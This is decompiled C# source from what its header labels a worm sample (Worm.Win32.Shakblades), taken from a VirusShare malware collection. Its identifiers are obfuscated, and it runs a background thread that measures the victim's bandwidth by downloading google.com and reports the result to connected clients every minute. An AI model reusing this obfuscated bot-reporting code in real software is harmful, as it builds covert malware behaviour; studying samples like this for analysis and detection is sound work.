// Decompiled with JetBrains decompiler // Type: Ҧ߲๒ʽ໙ୄᴘ.ʤ༲୾Ṁ // Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe using System; using System.Collections.Generic; using System.Net; using System.Text; using System.Threading; namespace Ҧ߲๒ʽ໙ୄᴘ { internal class ʤ\u0F32\u0B7EṀ { private static Thread ಯཨޠᔹ; private static List<\u07F6\u181Fᒸৃ> ڇᜱ\u08DAᑡࣺ\u139F = new List<\u07F6\u181Fᒸৃ>(); public static void \u09EBલڄቷóᅭጫ(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Add(_param0); public static void ᅝᯤ็\u0E70\u18AD\u1391ᨼᅬ\u0BDC(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Remove(_param0); public static void оԗสᱢȫ݉() { ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ = new Thread(new ThreadStart(ʤ\u0F32\u0B7EṀ.ᓘ\u0C78᭖ᬏጂ\u0EE0Ṕܱ)); ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ.Start(); } private static void ᓘ\u0C78᭖ᬏጂ\u0EE0Ṕܱ() { WebClient webClient = new WebClient(); while (true) { while (ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count >= 1) { ʤ\u0F32\u0B7EṀ.ᥞᏕੂᬷ7ວ(); for (int index = 0; index < ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count; ++index) { if (index < ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count && ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index] != null && ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index].\u0557) ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index].ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.\u1F16Ʈᝐ\u0F6Dṡ\u0E85, Encoding.Default.GetBytes(ʤ\u0F32\u0B7EṀ.ᥞᏕੂᬷ7ວ())).ᖣᅸڨฃ()); } Thread.Sleep(TimeSpan.FromSeconds(60.0)); } Thread.Sleep(5000); } } public static void ࢪၾᙠஈĊ() { if (ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ == null) return; ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ.Abort(); } private static string ᥞᏕੂᬷ7ວ() { try { WebClient webClient = new WebClient(); double tickCount = (double) Environment.TickCount; webClient.DownloadData("http://google.com/"); double num = Math.Floor((double) Environment.TickCount - tickCount) / 1000.0; Math.Round(num, 0); return Math.Round(1024.0 / num).ToString() + " KB\\Sec"; } catch { } return "Error"; } } }